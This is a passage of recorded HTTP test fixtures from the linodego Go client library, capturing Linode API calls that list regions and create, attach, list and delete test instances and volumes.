"resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 722910, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004308/volumes method: GET response: body: '{"data": [{"id": 722910, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": 41004308, "linode_label": "go-test-ins-wo-disk-0ksui0s38b42", "region": "ap-west", "tags": [], "hardware_type": "nvme"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "400" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/722910 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_Volumes_List_Instance.yaml000066400000000000000000000351501455402072200343210ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-0ksui0s38b42","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 41004308, "label": "go-test-ins-wo-disk-0ksui0s38b42", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.113.122"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0346babe1bc45d9259a93fb78b6b7858acaf41c4"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-718a3iant38q","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004308/configs method: POST response: body: '{"id": 43613867, "label": "go-test-conf-718a3iant38q", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-testfri532xx35c4","comments":"","devices":{"sda":{"volume_id":722910}},"interfaces":null,"memory_limit":0,"init_rd":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004308/configs/43613867 method: PUT response: body: '{"id": 43613867, "label": "go-vol-testfri532xx35c4", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": {"disk_id": null, "volume_id": 722910}, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "571" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/41004308 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_withMetadata.yaml000066400000000000000000000456371455402072200325560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 